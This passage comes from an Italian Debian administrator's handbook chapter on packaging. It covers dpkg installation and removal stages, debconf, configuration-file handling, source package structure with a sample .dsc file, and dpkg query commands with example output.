5. dpkg aggiorna tutti i dati interni (elenco file, script di configurazione, ecc.) e rimuove i backup dei file sostituiti. Questo è il punto di non ritorno: dpkg non ha più accesso a tutti gli elementi necessari a ritornare allo stato precedente.

6. dpkg aggiornerà i file di configurazionek, chiedendo all'utente di decidere se non è in grado di gestire automaticamente questo compito. I dettagli di questa procedura sono discussi nella Sezione 5.2.3, «Somme di controllo, elenco di file di configurazione».

7. Infine, dpkg configura il pacchetto eseguendo new-postinst configure ultima-versione-configurata.

5.2.2.2. Rimozione di pacchetti

Ecco cosa succede durante la rimozione di un pacchetto:

1. dpkg chiama prerm remove.

2. dpkg rimuove tutti i file del pacchetto, con l'eccezione dei file di configurazione e gli script di configurazione.

3. dpkg esegue postrm remove. Tutti gli script di configurazione, eccetto postrm, vengono rimossi. Se l'utente non ha usato l'opzione "purge", le operazioni sono terminate qui.

4. Per una eliminazione completa del pacchetto (comando impartito con dpkg --purge o dpkg -P), anche i file di configurazione vengono eliminati, così come certe copie (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) e certi file temporanei; poi dpkg esegue postrm purge.

VOCABOLARIO Purge, una rimozione completa

Quando un pacchetto Debian viene rimosso, i file di configurazione sono conservati per facilitare una possibile reinstallazione. Per lo stesso motivo, i dati generati da un demone (come i contenuti della directory di un server LDAP o il contenuto di un database per un server SQL) normalmente sono conservati.

Per rimuovere tutti i dati associati a un pacchetto, è necessario eseguirne il "purge" con il comando dpkg -P pacchetto, apt-get remove --purge pacchetto oppure aptitude purge pacchetto.

Vista la natura definitiva di tale rimozione di dati, una rimozione con purge non dovrebbe essere effettuata con leggerezza.

I quattro script descritti più avanti sono complementati da uno script config, fornito dai pacchetti usando debconf per acquisire dall'utente le informazioni per la configurazione. Durante l'installazione, questo script definisce nei dettagli le domande poste da debconf. Le risposte sono registrate del database di debconf per usi futuri. Lo script è generalmente eseguito da apt prima di installare i pacchetti uno per uno in modo da raggruppare tutte le domande e porle all'utente all'inizio del procedimento. Gli script pre- e post-installazione possono quindi usare queste informazioni per operare secondo i desideri dell'utente.

STRUMENTO debconf

debconf è stato creato per risolvere un problema ricorrente in Debian. Tutti i pacchetti Debian che non sono in grado di funzionare senza un minimo di configurazione ponevano le loro domande con chiamate ai comandi echo e read in script della shell come postinst e script simili. Ma questo significava che durante un'installazione o un aggiornamento importante l'utente doveva stare davanti al computer per rispondere alle varie domande che potevano essere poste in qualsiasi momento. Queste interazioni manuali sono quasi completamente eliminate grazie allo strumento debconf.

debconf ha molte caratteristiche interessanti: richiede che lo sviluppatore specifichi l'interazione con l'utente; permette la localizzazione di varie stringhe di caratteri visualizzate (tutte le traduzioni sono memorizzate nel file templates che descrive le interazioni); ha diversi modelli di visualizzazione per sottoporre le domande all'utente (modalità testo, modalità grafica, non interattiva); permette la creazione di un database centrale di risposte per condividere la stessa configurazione con diversi computer... ma la più importante è che ora è possibile presentare tutte le domande in blocco prima di iniziare un lungo processo di installazione o di aggiornamento. L'utente può fare altre cose mentre il sistema gestisce da solo l'installazione, senza dove stare a fissare lo schermo in attesa di domande.

5.2.3. Somme di controllo, elenco di file di configurazione

Oltre ai file di configurazione menzionati nelle sezioni precedenti, il file control.tar.gz all'interno di in un pacchetto Debian potrebbe contenere altri file interessanti. Il primo, md5sums, contiene i checksum MD5 per tutti i file del pacchetto. Il suo vantaggio principale è che permette a dpkg --verify (che vedremo in Sezione 14.3.4.1, «Revisione dei Pacchetti con dpkg --verify») e debsums (dall'omonimo pacchetto; vedere Sezione 14.3.4.2, «Controllo dei pacchetti: debsums e i suoi limiti») di controllare se questi file sono stati modificati dopo la loro installazione. Si noti che qualora il file non esista, dpkg lo genererà in modo dinamico durante l'installazione (e lo memorizzerà nel database di dpkg come per gli altri file di controllo).

conffiles elenca i file del pacchetto che devono essere gestiti come file di configurazione (vedere deb-conffiles(5)). I file di configurazione possono essere modificati dall'amministratore e dpkg cercherà di mantenere questi cambiamenti durante l'aggiornamento del pacchetto.

In effetti, in questa situazione, dpkg si comporta il più intelligentemente possibile: non fa niente se il file di configurazione standard non è cambiato tra le due versioni. Se, invece, il file è cambiato, cercherà di aggiornarlo. Sono possibili due casi: o l'amministratore non ha toccato questo file di configurazione, nel qual caso dpkg installa automaticamente la nuova versione; oppure il file è stato modificato, nel qual caso dpkg chiede all'amministratore quale versione desidera usare (quella vecchia con modifiche o quella nuova fornita con il pacchetto). Per aiutare nella decisione, dpkg offre la possibilità di visualizzare un "diff" che mostra le differenze tra le due versioni. Se l'utente sceglie di tenere la vecchia versione, quella nuova sarà memorizzata nella stessa posizione, in un file con il suffisso .dpkg-dist. Se l'utente sceglie la nuova versione, quella vecchia è mantenuta in un file con il suffisso .dpkg-old. Un'altra azione disponibile consiste nell'interrompere momentaneamente dpkg per modificare il file e tentare di applicare di nuovo le relative modifiche (precedentemente identificate con diff).

APPROFONDIMENTI Obbligare dpkg a porre le domande del file di configurazione

L'opzione --force-confask richiede che dpkg visualizzi le domande sui file di configurazione, anche nei casi in cui non sarebbe normalmente necessario. Perciò, durante la reinstallazione di un pacchetto con questa opzione, dpkg porrà di nuovo le domande per tutti i file di configurazione modificati o cancellati dall'amministratore. Ciò è molto comodo, specialmente per reinstallare il file di configurazione originale se è stato eliminato o non è disponibile un'altra copia: una normale reinstallazione non funzionerebbe perché dpkg considera la rimozione come una forma legittima di modifica e, perciò, non installa il file di configurazione desiderato.

APPROFONDIMENTI Evitare le domande del file di configurazione

dpkg gestisce gli aggiornamenti del file di configurazione, ma interrompe regolarmente queste operazioni per chiedere input dall'amministratore. Questo lo rende poco piacevole per chi desidera eseguire gli aggiornamenti in maniera non interattiva. Questo è il motivo per cui questo programma offre opzioni che permettono al sistema di rispondere automaticamente secondo la stessa logica: --force-confold mantiene la vecchia versione del file; --force-confnew userà la nuova versione del file (queste scelte sono rispettate anche se il file non è stato cambiato dall'amministratore, cosa che solo raramente ha l'effetto desiderato). L'aggiunta dell'opzione --force-confdef dice a dpkg di usare l'opzione predefinita quando è offerta una scelta (in altre parole, quando il file di configurazione originale non è stato toccato) e usa --force-confnew o --force-confold per gli altri casi.

Queste opzioni si applicano a dpkg, e sono spiegate in dettaglio in dpkg(1) o dpkg --force-help, ma la maggior parte del tempo l'amministratore lavorerà direttamente con i programmi aptitude o apt. È, perciò, necessario conoscere la sintassi usata per indicare le opzioni da passare al comando dpkg (le loro interfacce da riga di comando sono molto simili).

# apt-get -o DPkg::Options::="--force-confdef" -o DPkg::options::="--force-confold" dist-upgrade

Queste opzioni possono essere memorizzate direttamente nella configurazione del programma apt, invece che specificarle ogni volta sulla riga di commando. Per far ciò, è sufficiente scrivere la riga seguente nel file /etc/apt/apt.conf.d/local:

DPkg::Options { "--force-confdef"; "--force-confold"; }

Includere questa opzione nel file di configurazione permetterà di usarlo anche in un'interfaccia grafica come aptitude.

5.3. Struttura di un pacchetto sorgente

5.3.1. Formato

Un pacchetto sorgente è normalmente composto da tre file, un .dsc, un .orig.tar.gz e un .debian.tar.xz (o .diff.gz). Essi permettono la creazione di pacchetti binari (i file .deb descritti precedentemente) dal loro codice sorgente, scritti in un linguaggio di programmazione.

Il file .dsc (Debian Source Control) è un breve file di testo che contiene un'intestazione RFC 2822 (proprio come il file control esaminato nella Sezione 5.2.1, «Descrizione: il file control») che descrive il pacchetto sorgente e indica quali altri file ne fanno parte. È firmato dal suo manutentore, il che garantisce la sua autenticità. Vedere la Sezione 6.6, «Controllare l'autenticità dei pacchetti» per ulteriori dettagli su questo argomento.

Esempio 5.1. Un file .dsc

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA512

Format: 3.0 (quilt)

Source: zim

Binary: zim

Architecture: all

Version: 0.68-1

Maintainer: Zim Package Maintainers <zim@packages.debian.org>

Uploaders: Raphaël Hertzog <hertzog@debian.org>

Homepage: http://zim-wiki.org

Standards-Version: 4.1.3

Vcs-Browser: https://salsa.debian.org/debian/zim

Vcs-Git: https://salsa.debian.org/debian/zim.git

Build-Depends: debhelper (>= 11), xdg-utils, python (>= 2.6.6-3~), libgtk2.0-0 (>= 2.6), python-gtk2, python-xdg, dh-python

Package-List:

zim deb x11 optional arch=all

Checksums-Sha1:

a3b50aa8e44126cc7edd2c1912adf9820f50ad58 2044224 zim_0.68.orig.tar.gz

4e13b37625789334da2d95b93e51e41ffd3b6b01 9300 zim_0.68-1.debian.tar.xz

Checksums-Sha256:

d91518e010f6a6e951a75314138b5545a4c51151fc99f513aa7768a18858df15 2044224 zim_0.68.orig.tar.gz

23f4ddc69af74509932acc3b5f0d4cd2af943016e4fd5740b9d98ec4d49fd8c2 9300 zim_0.68-1.debian.tar.xz

Files:

336041a16687abb66fd9f604b98407e8 2044224 zim_0.68.orig.tar.gz

1714f67b35ab69e709849ad707206ca8 9300 zim_0.68-1.debian.tar.xz

-----BEGIN PGP SIGNATURE-----

Comment: Signed by Raphael Hertzog

iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAlqyOxkACgkQA4gdq+vC

mrnCqAf/Ww9wg97VragtVhSFvehoVoJ0ZhoqNaSuCP/W1Fuf+P0YklzL2BlkVRXW

X23c8Qs1v6VE2iRY3mEkdWwgBs1QwF0MX7H1jjQfPHCynGHKlH5dfo5fqLizgCeu

c9Pug3ZisjF90CgsseO7SVDqHVmO6QsfAaGWpHAw92HDz/xwjrS/4Ejntqjy0b+r

Gmw2AZuBdhp+7C6p7In/Gg6DHPBLQGMLCKypoZKQdl+L0fWjjeykOzMIbjry2sRH

H0J4FLVGAGumh3zIZlm/t3ehGfP9Dg8FvzMaCNsf8OtYCSAEutrQEDBaskcTSIpq

L0GQhKlViDuu8gzsqm7efPEhPcsF1A==

=6jGR

-----END PGP SIGNATURE-----

Notare che anche il pacchetto sorgente ha delle dipendenze (Build-Depends) completamente distinte da quelle del pacchetto binario, dal momento che indicano gli strumenti richiesti per compilare il software in questione e creare il suo pacchetto binario.

ATTENZIONE Spazi di nomi distinti

È importante notare qui che non c'è una forte corrispondenza tra il nome del pacchetto sorgente e quello dei pacchetti binari che genera. È abbastanza facile da capire se si sa che ogni pacchetto sorgente può generare diversi pacchetti binari. Questo è il motivo per cui il file .dsc ha dei campi Source e Binary per nominare esplicitamente il pacchetto sorgente e memorizzare l'elenco dei pacchetti binari che esso genera.

CULTURA Perché dividere in diversi pacchetti

Piuttosto di frequente, un pacchetto sorgente (per un certo gruppo di programmi) può generare diversi pacchetti binari. Le ragioni sono molteplici: un programma può spesso essere usato in contesti diversi, per cui una libreria condivisa può essere installata per far funzionare un'applicazione (per esempio libc6) o può essere installata per sviluppare un nuovo programma (libc6-dev sarà allora il pacchetto corretto). La stessa logica si trova per servizi client/server dove la parte server è installata su una macchina e la parte client su altre (questo è il caso, per esempio, di openssh-server e di openssh-client).

Altrettanto di frequente, la documentazione è fornita in un pacchetto dedicato: l'utente può installarla indipendentemente dal software e può in qualsiasi momento scegliere di rimuoverla per risparmiare spazio su disco. Inoltre, ciò risparmia spazio su disco anche sui mirror di Debian, dal momento che il pacchetto con la documentazione sarà condiviso tra tutte le architetture (invece di avere la documentazione duplicata nei pacchetti per ogni architettura).

IN PROSPETTIVA Differenti formati di pacchetti sorgenti

Inizialmente c'era un solo formato per i pacchetti sorgenti. È il formato 1.0 che associa un archivio .orig.tar.gz a una patch .diff.gz di "debianizzazione" (c'è anche una variante che consiste di un singolo archivio .tar.gz che è usato automaticamente se non c'è alcun .orig.tar.gz disponibile).

A partire da Debian 6 Squeeze, gli sviluppatori Debian hanno l'opzione di usare dei nuovi formati che correggono molti problemi del formato storico. Il formato 3.0 (quilt) può unire più archivi a monte in uno stesso pacchetto sorgente: in aggiunta al solito .orig.tar.gz, archivi supplementari .orig-componente.tar.gz. Ciò è utile con software che è distribuito in diversi componenti a monte ma per il quale si desidera un singolo pacchetto sorgente. Questi archivi possono anche essere compressi con xz piuttosto che con gzip), il che risparmia spazio su disco e risorse di rete. Infine, la patch monolitica, .diff.gz, è stata sostituita dall'archivio .debian.tar.xz che contiene le istruzioni di compilazione e un insieme di patch a monte dal manutentore del pacchetto. Queste ultime sono registrate in un formato compatibile con quilt — uno strumento che facilita la gestione di una serie di patch.

Il .orig.tar.gz è un archivio che contiene il codice sorgente del programma come fornito dallo sviluppatore originale. Ai manutentori dei pacchetti Debian viene chiesto di non modificare questo archivio in modo da poter facilmente verificare la fonte e l'integrità del file (con un semplice confronto con una somma di controllo) e per rispettare i desideri di alcuni autori.

.debian.tar.xz contiene tutte le modifiche fatte dal manutentore Debian, specialmente l'aggiunta della directory debian che contiene le istruzioni da eseguire per creare un pacchetto Debian.

STRUMENTO Decomprimere un pacchetto sorgente

Avendo un pacchetto sorgente, si può usare il comando dpkg-source (dal pacchetto dpkg-dev) per decomprimerlo:

$ dpkg-source -x zim_0.68-1.dsc

dpkg-source: info: extracting zim in zim-0.68

dpkg-source: info: unpacking zim_0.68.orig.tar.gz

dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz

Si può anche usare apt per scaricare un pacchetto sorgente e scompattarlo immediatamente. È richiesto che le appropriate linee deb-src siano presenti nel file /etc/apt/sources.list (per ulteriori dettagli, vedere la Sezione 6.1, «Compilazione del file sources.list»). Esse sono usate per elencare le "fonti" di un pacchetto sorgente (intendendo i server sui quali è ospitato un gruppo di pacchetti sorgente).

$ apt source package

Reading package lists... Done

Selected version '0.68-1' (stable) for zim

NOTICE: 'zim' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/debian/zim.git

Please use:

git clone https://salsa.debian.org/debian/zim.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 2055 kB of source archives.

Get:1 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (dsc) [1586 B]

Get:2 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (tar) [2044 kB]

Get:3 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (diff) [9300 B]

Fetched 2055 kB in 1s (3356 kB/s)

dpkg-source: info: extracting zim in zim-0.68

dpkg-source: info: unpacking zim_0.68.orig.tar.gz

dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz

5.3.2. Uso con Debian

Il pacchetto sorgente è alla base di tutto in Debian. Tutti i pacchetti Debian provengono da un pacchetto sorgente e ogni modifica in un pacchetto Debian è la conseguenza di una modifica fatta al pacchetto sorgente. I manutentori Debian lavorano con i pacchetti sorgenti, conoscendo, però, le conseguenze delle loro azioni sui pacchetti binari. I frutti del loro lavoro si trovano, perciò, nei pacchetti sorgenti disponibili da Debian: si può facilmente tornare indietro e seguire ogni cosa.

Quando la nuova versione di un pacchetto (pacchetto sorgente e uno o più pacchetti binari) arriva su un server Debian, il pacchetto sorgente è il più importante. Infatti, sarà usato da una rete di macchine con architetture differenti per la compilazione delle varie architetture supportate da Debian. Il fatto che lo sviluppatore invii anche uno o più pacchetti binari per una data architettura (solitamente i386 o amd64) è piuttosto irrilevante, dal momento che potrebbero anche essere stati generati automaticamente.

→ https://buildd.debian.org/

APPROFONDIMENTI Caricamento dei sorgenti dei manutentori

Subito dopo il rilascio di Debian 10 Buster il Release Team ha annunciato che i caricamenti dei pacchetti binari dei manutentori non saranno più accettati per main e tutti i pacchetti di questo componente saranno compilati automaticamente caricando, obbligatoriamente, solo i file sorgente.

5.4. Manipolazione dei pacchetti con dpkg

dpkg è il comando di base per gestire i pacchetti Debian sul sistema. Se si hanno dei pacchetti .deb, è dpkg che permette l'installazione o l'analisi del loro contenuto. Ma questo programma ha solo una visione parziale dell'universo Debian: conosce cosa è installato sul sistema e ciò che è dato sulla riga di comando, ma non conosce nulla degli altri pacchetti disponibili. Perciò, fallirà se una dipendenza non è soddisfatta. Strumenti come apt e aptitude, al contrario, creano un elenco di dipendenze da installare il più automaticamente possibile.

NOTA dpkg o apt-get?

dpkg dovrebbe esere visto come uno strumento di sistema (backend) e apt-get come uno strumento più vicino all'utente, che supera le precedenti limitazioni. Questi strumenti lavorano insieme, ognuno con le proprie peculiarità, adatte a compiti specifici.

5.4.1. Installazione dei pacchetti

dpkg è, soprattutto, uno strumento per installare un pacchetto Debian già disponibile (perché non scarica niente). Per fare ciò, si usa la sua opzione -i oppure --install.

Esempio 5.2. Installazione di un pacchetto con dpkg

# dpkg -i man-db_2.8.5-2_amd64.deb

(Reading database ... 14913 files and directories currently installed.)

Preparing to unpack .../man-db_2.8.5-2_amd64.deb ...

Unpacking man-db (2.8.5-2) over (2.8.5-2) ...

Setting up man-db (2.8.5-2) ...

Updating database of manual pages ...

Processing triggers for mime-support (3.62) ...

Si possono vedere i differenti passi eseguiti da dpkg; sappiamo, perciò, a quale punto si è verificato un errore. L'installazione può anche essere effettuata in due stadi: prima lo spacchettamento, poi la configurazione. apt si avvantaggia di ciò, limitando il numero di chiamate a dpkg (dal momento che ogni chiamata è onerosa a causa del caricamento del database in memoria, specialmente l'elenco dei file già installati).

Esempio 5.3. Spacchettamento e configurazione separati

# dpkg --unpack man-db_2.8.5-2_amd64.deb

(Reading database ... 14937 files and directories currently installed.)

Preparing to unpack man-db_2.8.5-2_amd64.deb ...

Unpacking man-db (2.8.5-2) over (2.8.5-2) ...

Processing triggers for mime-support (3.62) ...

# dpkg --configure man-db

Setting up man-db (2.8.5-2) ...

Updating database of manual pages ...

Talvolta dpkg non riuscirà a installare un pacchetto e restituirà un errore; se l'utente ordina di ignorarlo, verrà emesso soltanto un avvertimento; è per questo motivo che esistono le diverse opzioni --force-*. Il comando dpkg --force-help, o la documentazione di questo comando, dà un elenco completo di queste opzioni. L'errore più frequente, che prima o poi si incontrerà, è una collisione tra file. Quando un pacchetto contiene un file che è già installato da un altro pacchetto, dpkg si rifiuterà di installarlo. Il seguente messaggio apparirà:

Unpacking libisc52 (from .../libisc52_1%3a9.6.ESV.R1+dfsg-0+lenny2_amd64.deb) ...

dpkg : error processing /var/cache/apt/archives/libisc52_1%3a9.6.ESV.R1+dfsg-0+lenny2_amd64.deb (--unpack) :

trying to overwrite "/usr/lib/libisc.so.50", which is also in package libisc50 1:9.6.1.dfsg.P1-3

In questo caso, se si pensa che sostituire questo file non sia un rischio significativo per la stabilità del sistema (e solitamente è così), si può usare l'opzione --force-overwrite, che dice a dpkg di ignorare questo errore e di sovrascrivere il file.

Anche se ci sono molte opzioni --force-*, è probabile che solo --force-overwrite sia usata regolarmente. Queste opzioni esistono solamente per situazioni eccezionali ed è meglio lasciarle stare il più possibile per rispettare le regole imposte dal meccanismo dei pacchetti. Non si dimentichi che queste regole assicurano la coerenza e la stabilità del sistema.

ATTENZIONE Uso efficace di --force-*

Se non si presta attenzione, l'uso di un'opzione --force-* può condurre a un sistema in cui la famiglia di comandi APT si rifiuterà di funzionare. Infatti, alcune di queste opzioni permettono l'installazione di un pacchetto quando una dipendenza non è soddisfatta o quando c'è un conflitto. Il risultato è un sistema non coerente dal punto di vista delle dipendenze e i comandi APT si rifiuteranno di eseguire qualsiasi azione a meno che l'azione non permetta di tornare a uno stato coerente (questo spesso consiste nell'installazione della dipendenza mancante o nella rimozione di un pacchetto problematico). Questo spesso risulta in un messaggio come il seguente, ottenuto dopo l'installazione di una nuova versione di rdesktop ignorando la sua dipendenza da una nuova versione di libc6:

# apt full-upgrade

[...]

You might want to run 'apt-get -f install' to correct these.

The following packages have unmet dependencies:

rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed

E: Unmet dependencies. Try using -f.

Un amministratore coraggioso che sia certo della correttezza della propria analisi può scegliere di ignorare una dipendenza o un conflitto e usare la corrispondente opzione --force-*. In questo caso, se si vuole continuare a usare apt-get o aptitude, bisogna modificare /var/lib/dpkg/status per eliminare o modificare la dipendenza, o il conflitto, che si è scelto di scavalcare.

Questa manipolazione è uno "sporco trucco" e non dovrebbe essere mai usato, eccetto in caso di estrema necessità. Molto spesso, una soluzione più adatta è quella di ricompilare il pacchetto che sta causando il problema (consultare la Sezione 15.1, «Rigenerare un pacchetto dai suoi sorgenti») o usare una nuova versione (potenzialmente corretta) da un sito come backports.debian.org (vedere Sezione 6.1.2.4, «Backport per Stable»).

5.4.2. Rimozione di pacchetti

Invocare dpkg con l'opzione -r o --remove, seguita dal nome del pacchetto, rimuove tale pacchetto. Questa rimozione, comunque, non è completa: rimangono tutti i file di configurazione, gli script del manutentore, i file di log (log di sistema) e altri dati dell'utente gestiti dal pacchetto. La ragione della loro conservazione è di disabilitare il programma disinstallandolo, preservando allo stesso tempo l'opzione di reinstallarlo velocemente con la stessa configurazione. Per rimuovere completamente ogni cosa associata ad un pacchetto, usare l'opzione -P o --purge seguita dal nome del pacchetto.

Esempio 5.4. Rimozione ed eliminazione completa del pacchetto debian-cd

# dpkg -r debian-cd

(Reading database ... 15915 files and directories currently installed.)

Removing debian-cd (3.1.25) ...

# dpkg -P debian-cd

(Reading database ... 15394 files and directories currently installed.)

Purging configuration files for debian-cd (3.1.25) ...

5.4.3. Interrogazione del Database di dpkg ed Ispezione dei File .deb

FONDAMENTALI Sintassi delle opzioni

La maggior parte delle opzioni è disponibile nella versione "lunga" (una o più parole precedute da due trattini) o nella versione "corta" (una singola lettera, spesso l'iniziale di una parola della versione lunga, preceduta da un singolo trattino). Questa convenzione è così comune che è uno standard POSIX.

Prima di concludere questa sezione, si noti che alcune opzioni di dpkg possono interrogare il database interno per ottenere informazioni. Mostrando prima le opzioni lunghe e poi le corrispondenti opzioni corte (che evidentemente accettano i soliti argomenti) we cite --listfiles pacchetto (o -L), che elenca i file installati da questo pacchetto; --search file (o -S), che trova il pacchetto da cui proviene il file; --status pacchetto (o -s), che mostra le intestazioni di un pacchetto installato; --list (o -l), che mostra l'elenco dei pacchetti conosciuti dal sistema e il loro stato di installazione; --contents file.deb (o -c), che elenca i file nel pacchetto Debian specificato; --info file.deb (o -I), che mostra le intestazioni del pacchetto Debian.

ATTENZIONE dpkg --search e l'accorpamento di /usr

Per varie ragioni, Debian ora installa di default alcune directory di primo livello come collegamenti simbolici alle loro controparti sotto /usr. Per esempio, /bin, /sbin e /lib sono ora symlink a, rispettivamente, /usr/bin, /usr/sbin e /usr/lib.

Sebbene ciò fornisca degli innegabili vantaggi, può anche essere fonte di confusione. Per esempio, quando si interroga dpkg su quale pacchetto possiede un dato file, esso sarà in grado di rispondere solo quando si fornisce il suo percorso originale:

$ dpkg --search /bin/mount

mount: /bin/mount

$ dpkg --search /usr/bin/mount

dpkg-query: no path found matching pattern /usr/bin/mount

$ dpkg --search /bin/apt

dpkg-query: no path found matching pattern /bin/apt

$ dpkg --search /usr/bin/apt

apt: /usr/bin/apt

Esempio 5.5. Varie richieste con dpkg

$ dpkg -L base-passwd

/.

/usr

/usr/sbin

/usr/sbin/update-passwd

/usr/share

/usr/share/base-passwd

/usr/share/base-passwd/group.master

/usr/share/base-passwd/passwd.master

/usr/share/doc

/usr/share/doc/base-passwd

/usr/share/doc/base-passwd/README

/usr/share/doc/base-passwd/changelog.gz

/usr/share/doc/base-passwd/copyright

/usr/share/doc/base-passwd/users-and-groups.html

/usr/share/doc/base-passwd/users-and-groups.txt.gz

/usr/share/doc-base

/usr/share/doc-base/users-and-groups

/usr/share/lintian

/usr/share/lintian/overrides

/usr/share/lintian/overrides/base-passwd

/usr/share/man

/usr/share/man/de

/usr/share/man/de/man8

/usr/share/man/de/man8/update-passwd.8.gz

/usr/share/man/es

/usr/share/man/es/man8

/usr/share/man/es/man8/update-passwd.8.gz

/usr/share/man/fr

/usr/share/man/fr/man8

/usr/share/man/fr/man8/update-passwd.8.gz

/usr/share/man/ja

/usr/share/man/ja/man8

/usr/share/man/ja/man8/update-passwd.8.gz

/usr/share/man/man8

/usr/share/man/man8/update-passwd.8.gz

/usr/share/man/pl

/usr/share/man/pl/man8

/usr/share/man/pl/man8/update-passwd.8.gz

/usr/share/man/ru

/usr/share/man/ru/man8

/usr/share/man/ru/man8/update-passwd.8.gz

$ dpkg -S /bin/date

coreutils: /bin/date

$ dpkg -s coreutils

Package: coreutils

Essential: yes

Status: install ok installed

Priority: required

Section: utils

Installed-Size: 15719

Maintainer: Michael Stone <mstone@debian.org>

Architecture: amd64

Multi-Arch: foreign

Version: 8.30-3

Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libselinux1 (>= 2.1.13)

Description: GNU core utilities

This package contains the basic file, shell and text manipulation

utilities which are expected to exist on every operating system.

.

Specifically, this package includes:

arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp

csplit cut date dd df dir dircolors dirname du echo env expand expr

factor false flock fmt fold groups head hostid id install join link ln

logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt

od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm

rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac

tail tee test timeout touch tr true truncate tsort tty uname unexpand

uniq unlink users vdir wc who whoami yes

Homepage: http://gnu.org/software/coreutils

$ dpkg -l 'b*'

Desired=Unknown/Install/Remove/Purge/Hold

| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend

|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)

||/ Name                       Version              Architecture Description

+++-====================-===============-===============-==================================================

un  backupninja          <none>          <none>          (no description available)

un  backuppc             <none>          <none>          (no description available)

un  baobab               <none>          <node>          (no description available)

un  base                 <none>          <none>          (no description available)

un  base-config          <none>          <none>          (no description available)

ii  base-files           11              amd64           Debian base system miscellaneous files

ii  base-passwd          3.5.46          amd64           Debian base system master password and group files

ii  bash                 5.0-4           amd64           GNU Bourne Again SHell

[..]

$ dpkg -c /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb

drwxr-xr-x root/root         0 2018-12-15 02:17 ./

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/bin/

-rwxr-xr-x root/root      3516 2018-12-15 02:17 ./usr/bin/gpg-zip

-rwxr-xr-x root/root    866256 2018-12-15 02:17 ./usr/bin/gpgcompose

-rwxr-xr-x root/root     30792 2018-12-15 02:17 ./usr/bin/gpgparsemail

-rwxr-xr-x root/root     84432 2018-12-15 02:17 ./usr/bin/gpgsplit

-rwxr-xr-x root/root    154952 2018-12-15 02:17 ./usr/bin/gpgtar

-rwxr-xr-x root/root    166568 2018-12-15 02:17 ./usr/bin/kbxutil

-rwxr-xr-x root/root      1081 2017-08-28 12:22 ./usr/bin/lspgpot

-rwxr-xr-x root/root      2194 2018-11-18 23:37 ./usr/bin/migrate-pubring-from-classic-gpg

-rwxr-xr-x root/root    121576 2018-12-15 02:17 ./usr/bin/symcryptrun

-rwxr-xr-x root/root     18424 2018-12-15 02:17 ./usr/bin/watchgnupg

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/sbin/

-rwxr-xr-x root/root      3075 2018-12-15 02:17 ./usr/sbin/addgnupghome

-rwxr-xr-x root/root      2217 2018-12-15 02:17 ./usr/sbin/applygnupgdefaults

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/share/

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/share/doc/

[...]

$ dpkg -I /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb

new Debian package, version 2.0.

size 857408 bytes: control archive=1844 bytes.

1564 bytes,    32 lines      control

1804 bytes,    28 lines      md5sums

Package: gnupg-utils

Source: gnupg2

Version: 2.2.12-1

Architecture: amd64

Maintainer: Debian GnuPG Maintainers <pkg-gnupg-maint@lists.alioth.debian.org>

Installed-Size: 1845

Depends: libassuan0 (>= 2.0.1), libbz2-1.0, libc6 (>= 2.25), libgcrypt20 (>= 1.8.0), libgpg-error0 (>= 1.26-2~), libksba8 (>= 1.3.4), libreadline7 (>= 6.0), zlib1g (>= 1:1.1.4)

Recommends: gpg, gpg-agent, gpgconf, gpgsm

Breaks: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4)

Replaces: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4)

Section: utils

Priority: optional

Multi-Arch: foreign

Homepage: https://www.gnupg.org/

Description: GNU privacy guard - utility programs

GnuPG is GNU's tool for secure communication and data storage.

.

This package contains several useful utilities for manipulating

OpenPGP data and other related cryptographic elements.  It includes:

.

* addgnupghome -- create .gnupg home directories

* applygnupgdefaults -- run gpgconf --apply-defaults for all users

* gpgcompose -- an experimental tool for constructing arbitrary

sequences of OpenPGP packets (e.g. for testing)

* gpgparsemail -- parse an e-mail message into annotated format

* gpgsplit -- split a sequence of OpenPGP packets into files

* gpgtar -- encrypt or sign files in an archive

* kbxutil -- list, export, import Keybox data

* lspgpot -- convert PGP ownertrust values to GnuPG

* migrate-pubring-from-classic-gpg -- use only "modern" formats

* symcryptrun -- use simple symmetric encryption tool in GnuPG framework

* watchgnupg -- watch socket-based logs

[..]

APPROFONDIMENTI Confronto di versioni

Dal momento che dpkg è il programma per gestire pacchetti Debian, fornisce anche l'implementazione tipo della logica di confronto dei numeri di versione. Questo è il motivo per cui ha un'opzione --compare-versions utilizzabile da programmi esterni (specialmente gli script di configurazione eseguiti dallo stesso dpkg). Questa opzione richiede tre parametri: un numero di versione, un operatore di confronto e un secondo numero di versione. I diversi operatori possibili sono lt (strettamente minore), le (minore o uguale), eq (uguale), ne (diverso), ge (maggiore o uguale) e gt (strettamente maggiore). Se il confronto è corretto, dpkg restituisce il codice di ritorno 0 (successo), altrimenti restituisce un valore di ritorno diverso da zero (che indica fallimento).

$ dpkg --compare-versions 1.2-3 gt 1.1-4

$ echo $?

0

$ dpkg --compare-versions 1.2-3 lt 1.1-4

$ echo $?

1

$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1

$ echo $?

1

